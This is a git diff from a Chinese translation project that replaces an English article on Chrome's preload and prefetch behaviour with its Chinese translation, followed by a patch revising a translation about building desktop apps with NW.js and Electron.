+### Chrome 对于 preload 和 prefetch 的网络优先级？
 
-Here’s a break-down ([courtesy](https://docs.google.com/document/d/1bCDuq9H1ih9iNjgzyAL0gpwNFiEP4TZS-YLRp_RuMlc/edit#) of Pat Meenan) showing how different resources are prioritized in Blink as of Chrome 46 and beyond:
+下面是在 Chrome 46 版本中不同资源的加载优先级情况（ [Pat Meenan](https://docs.google.com/document/d/1bCDuq9H1ih9iNjgzyAL0gpwNFiEP4TZS-YLRp_RuMlc/edit#)）
 
-<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/1000/1*BTi3YhvCAYiJYRpjNQft9Q.jpeg">
+<img src="https://cdn-images-1.medium.com/max/1000/1*BTi3YhvCAYiJYRpjNQft9Q.jpeg">
 
-Preload using “as” or fetch using “type” use the priority of the type they are requesting. (e.g. preload as=style will use Highest priority). With no “as” they will behave like an XHR. “Early” is defined as being requested before any non-preloaded images have been requested (“late” is after). Thanks to Paul Irish for updating this table with the DevTools priorities mapping to the Net and Blink priorities.
+preload 用 “as” 或者用 “type” 属性来表示他们请求资源的优先级（比如说 preload 使用 as="type" 属性将获得最高的优先级）。没有 “as” 属性的将被看作异步请求，感谢 Paul Irish 更新这张关于开发者工具以及网络层上各种请求优先级的表。
 
-Let’s talk about this table for a moment.
+我们来谈一下这张表。
 
-**Scripts get different priorities based on where they are in the document and whether they are async, defer or blocking:**
+**脚本根据它们在文件中的位置是否异步、延迟和阻塞获得不同的优先级**：
 
-- Blocking scripts requested before the first image (an image early in the document) are Net:Medium
-- Blocking scripts requested after the first image is fetched are Net:Low
-- Async/defer/injected scripts (regardless of where they are in the document) are Net:Lowest
+* 网络在第一个图片资源之前阻塞的脚本：中级
+* 网络在第一个图片资源之后阻塞的脚本：低级
+* 异步／延迟／插入的脚本（无论在什么位置）：很低
 
-**Images (that are visible and in the viewport) have a higher priority (Net:Medium) than those that are not in the viewport (Net:Lowest)**, so to some extent Chrome will do it’s best to pseudo-lazy-load those images for you. Images start off with a lower priority and after layout is done and they are discovered to be in the viewport, will get a priority boost (but note that images already in flight when layout completes won’t be reprioritized).
+图片（视口可见）将会获得相对于视口不可见图片（低级）的更高的优先级（中级），所以某些程度上 Chrome 将会尽量懒加载这些图片。低优先级的图片在布局完成被视口发现时，将会获得优先级提升（但是注意已经在布局完成后的图片将不会更改优先级）。
 
-Preloaded resources using the “as” attribute will have the **same resource priority** as the **type** of resource they are requesting. For example, preload as=“style” will get the highest priority while as=”script” will get a low or medium priority. These resources are **also subject to the same CSP policies** (e.g script is subject to script-src).
+preload 使用 “as” 属性加载的资源将会获得与资源 “type” 属性所拥有的**相同的优先级**。比如说，preload as="style" 将会获得比 as=“script” 更高的优先级。这些资源同样会受内容安全策略的影响（比如说，脚本会受到其 “src” 属性的影响）。
 
-Preloaded resources without an “as” will otherwise be requested with the same priority as async XHR (so High).
+不带 “as” 属性的 preload 的优先级将会等同于异步请求。
 
-If you’re interested in understanding what priority a resource was loaded with, this information is exposed in DevTools via both the Network section of Timeline/Performance:
+如果你想了解各种资源加载时的优先级属性，用开发者工具的 Timeline/Performance 的 Network 看到的信息如下：
 
-<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/2000/1*5QsDQsYJ4ts-4Tl0_1dZwQ.png">
+<img  src="https://cdn-images-1.medium.com/max/2000/1*5QsDQsYJ4ts-4Tl0_1dZwQ.png">
 
-and in the Network panel behind the “Priority” column:
+在 Network 面板下的“Priority”部分
 
-<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/1000/0*26d5UlWhql2NZ0Eg.">
+<img src="https://cdn-images-1.medium.com/max/1000/0*26d5UlWhql2NZ0Eg.">
 
-### What happens when a page tries to preload a resource that has already been cached in the Service Worker cache, the HTTP cache or both?
+### 当页面 preload 已经在 Service Worker 缓存及 HTTP 缓存中的资源时会发生什么？
 
-This is going to be a large “it depends” but generally, something good should almost always happen in this case — the resource won’t be refetched from the network unless it has expired from the HTTP cache or the Service Worker intentionally refetches it.
+这就要说看情况了，但通常来说，会是比较好的情况 —— 如果资源没有超出 HTTP 缓存时间或者 Service Worker 没有主动重新发起请求，那么浏览器就不会再去请求这个资源了。
 
-If the resource is in the HTTP cache (between the SW Cache & the network) then preload should get a cache hit from the same resource.
+如果资源在 HTTP 缓存（ Service Worker 缓存和网络中），那么 preload 将会获得一次缓存命中。
 
-### Are there risks with these primitives of wasting a user’s bandwidth?
+### 这将会浪费用户的带宽吗？
 
-**With “preload” or “prefetch”, you’re running some risk of wasting a user’s bandwidth, especially if the resource is not cacheable.**
+**用“preload”和“prefetch”情况下，如果字眼不能被缓存，那么都有可能浪费一部分带宽。
 
-Unused preloads trigger a console warning in Chrome, ~3 seconds after *onload:*
+没有用到的 preload 资源在 Chrome 的 console 里会在 3s 后发生警告。
 
-<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/1000/0*Um55iV_tEBO3eXEs.">
+<img src="https://cdn-images-1.medium.com/max/1000/0*Um55iV_tEBO3eXEs.">
 
-The reason for this warning is you’re probably using preload to try warming the cache for other resources you need to improve performance but if these preloaded resources aren’t being used, you’re doing extra work for no reason. On mobile, this sums up to wasting a user’s data plans, so be mindful of what you’re preloading.
+原因是你可能为乐改善性能使用 preload 来缓存一定的资源，但是如果没有用到，你就做了无用功。在手机上，这相当于浪费了用户的流量，所以明确你要 preload 对象。
 
-### What can cause double fetches?
+### 什么情况会导致二次获取？
 
-Preload and prefetch are blunt tools and it isn’t hard to find yourself [double-fetching](https://bugs.chromium.org/p/chromium/issues/list?can=2&amp;q=preload%20double%20owner%3Ayoav%40yoav.ws) if you aren’t careful.
+preload 和 prefetch 是很简单的工具，你很容易不小心[二次获取](https://bugs.chromium.org/p/chromium/issues/list?can=2&amp;q=preload%20double%20owner%3Ayoav%40yoav.ws)。
 
-**Don’t use “prefetch” as a fallback for “preload”**. They’re again, used for different purposes and often end up causing [double fetches](https://twitter.com/yoavweiss/status/824957889991303168) while this probably isn’t your intention. Use preload if it’s supported for warming the cache for current sessions otherwise prefetch for future sessions. Don’t use one in place of the other.
+不要用 “prefetch” 作为 “preload” 的后备，它们是为了不同的场景很容易导致不符合预期的二次获取。使用 preload 来获取当前需要任务否则使用 prefetch 来获取将来的任务，不要一起用。
 
-<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/1000/0*KKong0kz69LOteD3.">
+<img src="https://cdn-images-1.medium.com/max/1000/0*KKong0kz69LOteD3.">
 
-**Don’t rely on fetch() working with “preload”… just yet.** In Chrome if you try to use preload with the fetch() API you will end up triggering a double download. This doesn’t currently occur with XHR and we have an [open bug](https://bugs.chromium.org/p/chromium/issues/detail?id=652228) to try addressing it.
+不要在 preload 中使用 fetch()，在 Chrome 中这样使用将会导致二次的下载。这并不只发生在异步请求的情况我们有一个关于这个问题公开的 [bug](https://bugs.chromium.org/p/chromium/issues/detail?id=652228)。
 
-**Supply an “as” when preloading or you’ll negate any benefits!**
+**对 preload 使用 “as” 属性，不然将不会从中获益**。
 
-If you don’t supply a valid “as” when specifying what to preload, for example, scripts, you will end up [fetching twice](https://twitter.com/DasSurma/status/808791438171537408).
+如果你对你所 preload 的资源使用明确的 “as” 属性，比如说，脚本，你将会导致[二次获取](https://twitter.com/DasSurma/status/808791438171537408)。
 
-**Preloaded fonts without crossorigin will double fetch!** Ensure you’re adding a [crossorigin attribute](https://developer.mozilla.org/en-US/docs/Web/HTML/CORS_settings_attributes) when fetching fonts using preload otherwise they will be double downloaded. They’re requested using anonymous mode CORS. This advice applies even if fonts are on the same origin as the page. This is applicable to other anonymous fetches too (e.g XHR by default).
+**preload 字体不带 crossorigin 也将会二次获取！** 确保你对 preload的字体添加 [crossorigin](https://developer.mozilla.org/en-US/docs/Web/HTML/CORS_settings_attributes) 属性，否则他会被下载两次，这个请求使用匿名的跨域模式。这个建议也适用于字体文件在相同域名下，也适用于其他域名的获取(比如说默认的异步获取)。
 
-**Resources with an integrity attribute can’t reuse preloaded resources (for now) and can also cause double fetches.** The `[integrity](https://bugs.chromium.org/p/chromium/issues/detail?id=677022)` attribute for link elements has not yet been implemented and there’s an open [spec issue](https://github.com/w3c/webappsec-subresource-integrity/issues/26) about it. This means the presence of any integrity metadata will currently discard preloaded resources. In the wild, it can also result in duplicate requests where you have to make a trade-off between security and performance.
+**存在 intergrity 属性的资源不能使用 preload 属性（目前）也会导致二次获取**，链接元素的 `[integrity](https://bugs.chromium.org/p/chromium/issues/detail?id=677022)` 属性目前还没有被支持，目前有一个关于它的开放[issue](https://github.com/w3c/webappsec-subresource-integrity/issues/26)，这意味着存在 integrity 的元素将会丢弃 preload 的资源。往宽了讲，这会导致重复的请求，你需要在安全和性能之间作出权衡。
 
-Finally, although it won’t cause double fetches, this is generally good advice:
+最后，虽然会导致一些二次获取，还是有下面的建议：
 
-**Don’t try preloading absolutely everything!** Instead, select specific late discovered resources that you want to load earlier and use preload to tell the browser about them.
+**不要 preload 所有东西！** 作为替代的，用 preload 来告诉浏览器一些本来不能被提早发现的资源，以便提早获取它们。
 
-### Should I just preload all the assets that my page requests in the head? Is there a recommended limit like “only preload ~6 things”?
+### 我应当在页面头部加载所有的资源文件吗？有什么建议比如说限制“只加载6个文件”？
 
-This is a good example of **Tools, not rules.** How much you preload may well factor in how much network contention you’re going to have with other resources also being loaded on your page, your user’s available bandwidth and other network conditions.
+这是**工具而不是规则**的好例子。你 preload 的文件数量取决于加载其他资源时网络内容、用户的带宽和其他网络状况。
 
-Preload resources that are likely to be discovered late in your page, but are otherwise important to fetch as early as possible. With scripts, preloading your key bundles is good as it separates fetching from execution in a way that just using say, <script async> wouldn’t as it blocks the window’s onload event. You can preload images, styles, fonts, media. Most things — what’s important is that you’re in better control of early-fetching what you as a page author knows is definitely needed by your page sooner rather than later.
+尽早 preload 页面中可能需要的文件，对于脚本文件，preload 关键打包文件很有用因为它将加载与执行分离开来，`script async>`不好因为它会阻塞 window 的 onload 事件。你可以尽早加载图片、样式、字体和媒体资源。大部分的 —— 最重要的是，你作为作者是可以清晰的知道哪些东西是页面目前需要的。
 
-### Does prefetch have any magical properties you should be aware of? Well, yes.
+### prefetch 有哪些你需要知道的魔法属性吗？当然
 
-In Chrome, if a user navigates away from a page while prefetch requests for other pages are still in flight, these requests will not get terminated.
+在 Chrome 中，如果用户从一个页面跳转到另一个页面，prefetch 发起的请求仍会进行不会中断。
 
-Furthermore, prefetch requests are maintained in the unspecified net-stack cache for at least 5 minutes regardless of the cachability of the resource.
+另外，prefetch 的资源在网络堆栈中至少缓存 5 分钟，无论它是不是可以缓存的。
 
-### I’m using a custom “preload” implementation written in JS. How does this differ from rel=”preload” or Preload headers?
+### 我在 JS 中使用自定义的 “preload”，它跟原本的 rel="preload" 或者 preload 头部有什么不同？
 
-Preload decouples fetching a resource from JS processing and execution. As such, preloads declared in markup are optimized in Chrome by the preload scanner. This means that in many cases, the preload will be fetched (with the indicated priority) before the HTML parser has even reached the tag. This makes it a lot more powerful than a custom preload implementation.
+preload 将资源获取与执行解耦，像这样，preload 在标记中声明以被 Chrome preload 扫描器扫描。这意味着，在许多案例中，在 HTML 解析器获取到标签之前，preload 就会被获取（用它声明的优先级）。这将会比自定义的 preload 更加强大。
 
-### Wait. Shouldn’t we be using HTTP/2 Server Push instead of Preload?
+### 等一下，我不是可以用 HTTP/2 的服务器推送来代替 preload 吗？
 
-Use Push when you know the precise loading order for resources and have a service worker to intercept requests that would cause cached resources to be pushed again. Use preload to move the start download time of an asset closer to the initial request — it’s useful for both first and third-party resources.
+当你知道资源加载的正确顺序时使用推送，用 service worker 来拦截哪些可能需要会导致二次获取的资源请求，用 preload 来加快第一个请求的开始时间 —— 这对所有的资源获取都有用。
 
-Again, this is going to be an “[it depends](https://docs.google.com/document/d/1K0NykTXBbbbTlv60t5MyJvXjqKGsCVNYHyLEXIxYMv0/edit)”. Let’s imagine we’re working on a cart for the Google Play store. For a given request to play.google.com/cart:
+再次说一下，这都要看[情况](https://docs.google.com/document/d/1K0NykTXBbbbTlv60t5MyJvXjqKGsCVNYHyLEXIxYMv0/edit)，我们试想一下位 Google Play 商店做购物车，对于一个向购物车的请求：
 
-Using Preload to load key modules for the page requires the browser to wait for the play.google.com/cart payload in order for the preload scanner to detect dependencies, but after this contains sufficient information to saturate a network pipe with requests for the site’s assets. This might not be the most optimal at cold-boot but is very cache and bandwidth friendly for subsequent requests.
+用 preload 来加载页面的主要的模块需要浏览器等待 play.google.com/cart 有效载荷以便 preload 扫描器发现依赖，但这之后会浸透网络管道可以更好的像资源发起请求，这可能不是最理想的冷启动，但对于高速缓存和带宽的后续请求非常友好。
 
-Using H/2 Server Push, we can saturate the network pipe right away on the request for play.google.com/cart but can waste bandwidth if the resources being pushed are already in the HTTP or Service Worker cache. There are always going to be trade-offs for these two approaches.
+使用 HTTP/2 的服务器推送，当请求 play.google.com/cart 我们可以快速浸透网络管道，但如果资源已经在 HTTP 或者 Service Worker 缓存中的话我们就浪费了带宽，两种方法都需要做出权衡。
 
-Although Push is invaluable, it doesn’t enable all the same use-cases as Preload does.
+虽然推送很有效，但它不像 preload 那样对所有的情况都适应。
 
-Preload has the benefit of decoupling download from execution. Thanks to support for document onload events you can control scripting if, how and when a resource gets applied. This can be powerful for say, fetching JS bundles and executing them in idle blocks or fetching CSS and applying them at the right point in time.
+preload 利于下载与执行的解耦，感谢其对文档 onload 事件的支持我们现在可以控制其加载完毕后的事件，获取 JS 包文件在空闲快执行或者获取 CSS 模块在正确的时间点执行，可以说是非常强大的。
 
-Push can’t be used by third-party hosted content. By sending resources down immediately, it also effectively short-circuits the browser’s own resource prioritization logic. In cases where you know exactly what you’re doing, this can yield performance wins, but in cases where you don’t you could actually harm performance significantly.
+推送不能用于第三方资源的内容，通过立即发送资源，它还有效地缩短浏览器自身的资源优先级情况。在你明确的知道在做什么时，这应该会提高你的应用性能，如果不是很清晰的话，你也许会损失掉部分的性能。
 
-### What is the Link preload header? How does it compare to the preload link tag? And how does it relate to HTTP/2 Server Push?
+### preload HTTP 头是什么？跟 preload 标签有什么不同？又跟 HTTP/2 服务器推送有什么不同？
 
-As with other types of links, a preload link can be specified using either an HTML tag or an HTTP header (a [Link preload header](https://w3c.github.io/preload/#server-push-http-2)). In either case, a preload link directs the browser to begin loading a resource into the memory cache, indicating that the page expects with high confidence to use the resource and doesn’t want to wait for the preload scanner or the parser to discover it.
+跟其他链接不同，preload 链接即可以放在 HTML 标签里也可以放在 HTTP 头部（[preload HTTP 头](https://w3c.github.io/preload/#server-push-http-2)），每种情况下，都会直接使浏览器加载资源并缓存在内存里，表明页面有很高的可能性用这些资源并且不想等待 preload 扫描器或者解析器去发现它。
 
-When the Financial Times introduced a Link preload header to their site, they **shaved **[**1 second**](https://twitter.com/wheresrhys/status/843252599902167040) **off the time it took to display the masthead image:**
+当金融时报在它们的网站使用 preload HTTP 头时，他们节约了**大约 [1s](https://twitter.com/wheresrhys/status/843252599902167040) 的显示片头图片时间**。
 
-<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/2000/1*QGUllBDRLMjdy1uawXG8EQ.jpeg">
+<img src="https://cdn-images-1.medium.com/max/2000/1*QGUllBDRLMjdy1uawXG8EQ.jpeg">
 
-Bottom: with preload, Top: without. **Comparison for Moto G4 over 3G:** Before: [https://www.webpagetest.org/result/170319_Z2_GFR/](https://www.webpagetest.org/result/170319_Z2_GFR/), After: [https://www.webpagetest.org/result/170319_R8_G4Q/](https://www.webpagetest.org/result/170319_R8_G4Q/)
+下面的：使用 preload，上面：使用 preload。在 3G 网络下的 Moto G4 测试。
 
-You can provide preload links in either form, but there is one important difference you should understand: as allowed by the spec, many servers initiate an HTTP/2 Server Push when they encounter a preload link in HTTP header form. The performance implications of H/2 Server Push are different from those of preloading (see below), so you should make sure you don’t unintentionally trigger pushes.
+原来：[https://www.webpagetest.org/result/170319_Z2_GFR/](https://www.webpagetest.org/result/170319_Z2_GFR/)，之后: [https://www.webpagetest.org/result/170319_R8_G4Q/](https://www.webpagetest.org/result/170319_R8_G4Q/)。你可以使用两种形式的 preload，但应当知道很重要的一点：根据规范，许多服务器当它们遇到 preload HTTP 头会发起 HTTP/2 推送，HTTP/2 推送的性能影响不同于普通的预加载，所以你要确保没有发起不必要的推送。
 
-You can avoid unwanted pushes by using preload link tags instead of headers, or by including the ‘nopush’ attribute in your headers.
+你可以使用 preload 标签来代替 preload 头以避免不必要的推送，或者在你的 HTTP 头上加一个 “nopush” 属性。
 
-### How can I feature detect support for link rel=preload?
+### 我怎样检测 link rel=preload 的支持情况呢？
 
-Feature detecting for <link rel=”preload”>can be accomplished using the following snippet:
+用下面的代码段可以检测`<link rel=”preload”>`是否被支持：
 
-    const preloadSupported = () => {
-      const link = document.createElement('link');
-      const relList = link.relList;
-      if (!relList || !relList.supports)
-        return false;
-      return relList.supports('preload');
-    };
+	const preloadSupported = () => {
+	      const link = document.createElement('link');
+	      const relList = link.relList;
+	      if (!relList || !relList.supports)
+	        return false;
+	      return relList.supports('preload');
+	    };
 
-The FilamentGroup also have a [preload check](https://github.com/filamentgroup/loadCSS/blob/master/src/cssrelpreload.js#L8-L14) they use as part of their async CSS loading library, [loadCSS](https://github.com/filamentgroup/loadCSS).
+FilamentGroup 也有一个作为他们的异步 CSS 加载库 [loadCSS](https://github.com/filamentgroup/loadCSS) [检测 preload](https://github.com/filamentgroup/loadCSS/blob/master/src/cssrelpreload.js#L8-L14) 的部分。
 
-### Can you immediately apply preloaded CSS stylesheets?
+### 你可以立即将 preload 应用到 CSS 样式表吗？
 
-Absolutely. Preload support markup based asynchronous loading. Stylesheets loaded using <link rel=”preload”> can be immediately applied to the current document using the `onload` event as follows:
+当然，preload 支持基于异步加载的标记，使用 `<link rel=”preload”>` 的样式表使用 `onload` 事件立即应用到文档：
 
-    <link rel="preload" href="style.css" onload="this.rel=stylesheet">
+	<link rel="preload" href="style.css" onload="this.rel=stylesheet">
 
-For more examples like this, see *Use Cases* in this great Yoav Weiss [deck](http://yoavweiss.github.io/link_htmlspecial_16/#53).
+更多相关的例子，看一下 Yoav Weiss 很棒的[使用实例](http://yoavweiss.github.io/link_htmlspecial_16/#53)。
 
-### What else is Preload being used for in the wild?
+### preload 还有哪些更广泛的应用？
 
-**According to the HTTPArchive,** [**most**](https://twitter.com/addyosmani/status/843254667316465664) **sites using <link rel=”preload”> use it to** [**preload Web Fonts**](https://www.zachleat.com/web/preload/) , **including Teen Vogue and as mentioned earlier, Shopify:**
+**根据 HTTPArchive，[很多网站](https://twitter.com/addyosmani/status/843254667316465664)应用 `<link rel=”preload”>` 来加载[字体](https://www.zachleat.com/web/preload/)，包括 Teen Vogue 和以上提到的其他网站：**
 
-<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/2000/1*osYEtZ6gZnmstK4fpcJTrg.png">
+<img src="https://cdn-images-1.medium.com/max/2000/1*osYEtZ6gZnmstK4fpcJTrg.png">
 
-***While*** [***other***](https://twitter.com/addyosmani/status/843258951110074368) ***popular sites like LifeHacker and JCPenny use it to asynchronously load CSS (via the FilamentGroup’s*** [***loadCSS***](https://github.com/filamentgroup/loadCSS)):
+**[其他](https://twitter.com/addyosmani/status/843258951110074368)一些网站，比如 LifeHacker 和 JCPenny 用 FilamentGroup 的 [loadCSS](https://github.com/filamentgroup/loadCSS) 来异步加载 CSS:**
 
-<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/2000/1*BxecU2LjN-uGAW_uQgDTdw.png">
+<img src="https://cdn-images-1.medium.com/max/2000/1*BxecU2LjN-uGAW_uQgDTdw.png">
 
-**And then there are a growing breed of Progressive Web Apps (like Twitter.com mobile, Flipkart and Housing) using it to preload scripts that are needed for the current navigation using patterns like** [**PRPL**](https://developers.google.com/web/fundamentals/performance/prpl-pattern/):
+**有越来越多的 仿原生 Web App（比如 Twitter.com 移动端， Flipkart 和 Housing）使用它来加载当前链接需要的脚本：**
 
-<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/2000/1*rppoHbaTTJQNVZBO4j_NAQ.png">
+<img src="https://cdn-images-1.medium.com/max/2000/1*rppoHbaTTJQNVZBO4j_NAQ.png">
 
-*The basic idea there is to maintain artifacts at high-granularity (as opposed to monolithic bundles) so any facet of the app can on demand load it’s dependencies or preload those that are likely to be needed next to warm up the cache.*
+基本的观点是要保持高粒度而不是单片，所以任何应用都可以按需加载依赖或者预加载资源并放在缓存中。
 
-### What is the current browser support for Preload and Prefetch?
+### 当前浏览器对 preload 和 prefetch 的支持度？
 
-<link rel=”preload”> is available to [~50% ](http://caniuse.com/#feat=link-rel-preload)of the global population according to CanIUse and is implemented in the [Safari Tech Preview](https://developer.apple.com/safari/technology-preview/release-notes/). <link rel=”prefetch”> is available to [71%](http://caniuse.com/#search=prefetch) of global users.
+根据 CanIUse 在 [Safari Tech Preview](https://developer.apple.com/safari/technology-preview/release-notes/)的调查看，`<link rel=”preload”>` 大约有 [50%](http://caniuse.com/#feat=link-rel-preload) 的支持度，`<link rel=”prefetch”>` 大约有 [70%](http://caniuse.com/#search=prefetch) 的支持度。
 
-### Further insights you may find helpful:
+### 更多有用的见解
 
-- Yoav Weiss landed a [recent change](https://twitter.com/yoavweiss/status/843810722383630337%20) in Chrome that avoids preload contending with CSS & blocking scripts.
-- He also recently [split](https://groups.google.com/a/chromium.org/forum/#!topic/blink-dev/BN6tqGLBmuI) the ability to preload media into three distinct types: video, audio and track.
-- Domenic Denicola is [exploring](https://github.com/whatwg/html/pull/2383) a spec change to add support for preloading ES6 Modules.
-- Yoav also recently shipped support for [Link header support for “prefetch”](https://groups.google.com/a/chromium.org/forum/#!msg/blink-dev/8Zo2HiNEs94/h8mDVkx0EwAJ) allowing easier additional of resource hints needed for the next navigation.
+* Yoav Weiss 最近对 Chrome 里 preload CSS 和 阻塞的脚本做了[更改](https://twitter.com/yoavweiss/status/843810722383630337%20)。
+* 他最近还把 preload 媒体[分成](https://groups.google.com/a/chromium.org/forum/#!topic/blink-dev/BN6tqGLBmuI)三个不同的类型：video、audio 和 track。
+* Domenic Denicola 正在[寻求](https://github.com/whatwg/html/pull/2383)规格的改变以便支持 ES6 模块。
+* Yoav Weiss 最近还增加了在 HTTP 头部支持 [Link header support for “prefetch”](https://groups.google.com/a/chromium.org/forum/#!msg/blink-dev/8Zo2HiNEs94/h8mDVkx0EwAJ) 以便更容易的加载下一个页面的资源。
 
-### Further reading on these loading primitives:
+### 拓展阅读
 
 - [Preload — what is it good for?](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/) — Yoav Weiss
 - [A <link rel=”preload”> study](https://twitter.com/ChromiumDev/status/837715866078752768) by the Chrome Data Saver team
@@ -242,9 +242,9 @@ For more examples like this, see *Use Cases* in this great Yoav Weiss [deck](htt
 - [Web Fonts preloaded](https://www.zachleat.com/web/preload/) by Zach Leat
 - [HTTP Caching: cache-control](https://www.google.com/url?q=https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching%23cache-control&amp;sa=D&amp;ust=1490641457910000&amp;usg=AFQjCNEb6fMArN_ahD7ySMICPF1Obf4rsw) by Ilya Grigorik
 
-*With thanks to @ShopifyEng, @AdityaPunjani from Flipkart, @HousingEngg, @adgad and @wheresrhys at the FT and @__lakshya from Treebo for sharing their before/after preload stats.*
+感谢 @ShopifyEng、@AdityaPunjani、@HousingEngg、@adgad、@wheresrhys 和 @__lakshya 分享的统计信息。
 
-***With many thanks for their technical reviews & suggestions: Ilya Grigorik, Gray Norton, Yoav Weiss, Pat Meenan, Kenji Baheux, Surma, Sam Saccone, Charles Harrison, Paul Irish, Matt Gaunt, Dru Knox, Scott Jehl.***
+***非常感谢下列技术审核与建议人员: Ilya Grigorik, Gray Norton, Yoav Weiss, Pat Meenan, Kenji Baheux, Surma, Sam Saccone, Charles Harrison, Paul Irish, Matt Gaunt, Dru Knox, Scott Jehl.***
 
 
 ---

From d270ecaa3b8817fa695fe41c3a824a5722a99b59 Mon Sep 17 00:00:00 2001
From: zhuzi <nmz89825@gmail.com>
Date: Mon, 3 Apr 2017 00:46:34 +0800
Subject: [PATCH 024/638] reviewed

---
 TODO/beyond-browser-web-desktop-apps.md | 186 ++++++------------------
 1 file changed, 42 insertions(+), 144 deletions(-)

diff --git a/TODO/beyond-browser-web-desktop-apps.md b/TODO/beyond-browser-web-desktop-apps.md
index a0dfb366c18..de64241b0e6 100644
--- a/TODO/beyond-browser-web-desktop-apps.md
+++ b/TODO/beyond-browser-web-desktop-apps.md
@@ -1,83 +1,50 @@
-> * 原文地址：[Beyond The Browser: From Web Apps To Desktop Apps](https://www.smashingmagazine.com/2017/03/beyond-browser-web-desktop-apps/)
+> * ​
 > * 原文作者：[Adam Lynch](https://www.smashingmagazine.com/author/adamlynch/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者： [bambooom](https://github.com/bambooom)
 > * 校对者：
 
-> ## Beyond The Browser: From Web Apps To Desktop Apps
-
 ## 超越浏览器：从 web 应用到桌面应用
 
-> I started out as a web developer, and that’s now one part of what I do as a full-stack developer, but never had I imagined I’d create things for the desktop. I love the web. I love how altruistic our community is, how it embraces open-source, testing and pushing the envelope. I love discovering beautiful websites and powerful apps. When I was first tasked with creating a desktop app, I was apprehensive and intimidated. It seemed like it would be difficult, or at least… different.
-
-一开始我是个 web 开发者，现在我是个全栈开发者，但从未想过在桌面上有所作为。我喜欢 web，我热爱这个无私的社区，热爱它对于开源的友好，测试并推向更远的地方？我喜欢发现好看的网站和强大的应用。当我被指派做桌面应用的任务的时候，我f非常忧虑和害怕，因为那看起来很难，或者至少非常不同。
-
-> It’s not an attractive prospect, right? Would you have to learn a new language or three? Imagine an archaic, alien workflow, with ancient tooling, and none of those things you love about the web. How would your career be affected?
-
-这并不吸引人，对吧？你需要学一门新的语言，甚至三种？想象一下过时的工作流，古旧的工具，没有任何你喜欢的有关 web 的一切。你的职业会怎样被影响呢？
+一开始我是个 web 开发者，现在我是个全栈开发者，但从未想过在桌面上有所作为。我热爱 web 技术，热爱这个无私的社区，热爱它对于开源的友好，尝试挑战极限。我热爱探索好看的网站和强大的应用。当我被指派做桌面应用的任务的时候，我非常忧虑和害怕，因为那看起来很难，或者至少非常不同。
 
-> OK, take a breath. The reality is that, as a web developer, not only do you already possess all of the skills to make great modern desktop apps, but thanks to powerful new APIs at your disposal, the desktop is actually where your skills can be leveraged the most.
+这并不吸引人，对吧？你需要学一门新的语言，甚至三门？想象一下过时的工作流，古旧的工具，没有任何你喜欢的有关 web 的一切。你的职业发展会被怎样影响呢？
 
-别慌，深呼吸，现实情况是，作为 web 开发者，你已经拥有一切开发现代桌面应用所需的一切技能，甚至感谢新的强大的 API，你可以在桌面应用中发挥你最大的潜能。
+别慌，深呼吸，现实情况是，作为 web 开发者，你已经拥有一切开发现代桌面应用所需的一切技能，感谢新的强大的 API，你甚至可以在桌面应用中发挥你最大的潜能。
 
-> In this article, we’ll look at the development of desktop applications using [NW.js](http://nwjs.io/) and [Electron](http://electron.atom.io/), the ups and downs of building one and living with one, using one code base for the desktop and the web, and more.
+本文将会介绍使用 [NW.js](http://nwjs.io/) 和 [Electron](https://electron.atom.io/) 开发桌面应用，它们的优劣，使用同一套代码库给桌面、web，甚至更多。
 
-本文将会介绍使用 [NW.js](http://nwjs.io/) 和 [Electron](https://electron.atom.io/) 开发桌面应用，它们的优劣，使用同一套基准代码给桌面、web，甚至更多。
-
-> ###  Why?
 ### 为什么？
 
-> First of all, why would anyone create a desktop app? Any existing web app (as opposed to a website, if you believe in the distinction) is probably suited to becoming a desktop app. You could build a desktop app around any web app that would benefit from integration in the user’s system; think native notifications, launching on startup, interacting with files, etc. Some users simply prefer having certain apps there permanently on their machine, accessible whether they have a connection or not.
-
-首先，为什么会有人开发桌面应用？任何现有的 web 应用（不同于网站，如果你认为它们是不同的）都可能适合变成一个桌面应用。你可以为任何可以受益于与用户系统整合的 web 应用制作桌面应用；例如本地通知，开机启动，与文件的交互等。有些用户单纯更喜欢在自己的电脑中永久拥有一些 app，无论是否联网都可以使用。
-
-> Maybe you’ve an idea that would only work as a desktop app; some things simply aren’t possible with a web app (at least yet, but more about that in a little bit). You could create a self-contained utility app for internal company use, without requiring anyone to install anything other than your app (because Node.js in built-in). Maybe you’ve an idea for the Mac App Store. Maybe it would simply be a fun side project.
+首先，为什么会有人开发桌面应用？任何现有的 web 应用（不同于网站，如果你认为它们是不同的）都可能适合变成一个桌面应用。你可以围绕任何可以从与用户系统集中中获益的 web 应用构建桌面应用；例如本地通知，开机启动，与文件的交互等。有些用户单纯更喜欢在自己的电脑中永久保存一些 app，无论是否联网都可以访问。
 
-也许你有个想法，但只能在桌面应用上有意义，有些事情只是在 web 应用中不可能（至少是这样，但也可能更多一点（译注：没太懂这一句））。你可能想要创建一个独立的多功能应用，只给公司内部使用，除了你的 app 不需要安装其他东西（因为内置 Node.js ）。也许你有个有关 Mac 应用商店的想法，也许只是你的一个个人兴趣的小项目。
+也许你有个想法，但只能用作桌面应用，有些事情只是在 web 应用中不可能实现（至少还有一点，但更多的是这一点）。你可能想要为公司内部创建一个独立的功能性应用程序，而不需要任何人安装除了你的 app 之外的任何内容（因为内置 Node.js ）。也许你有个有关 Mac 应用商店的想法，也许只是你的一个个人兴趣的小项目。
 
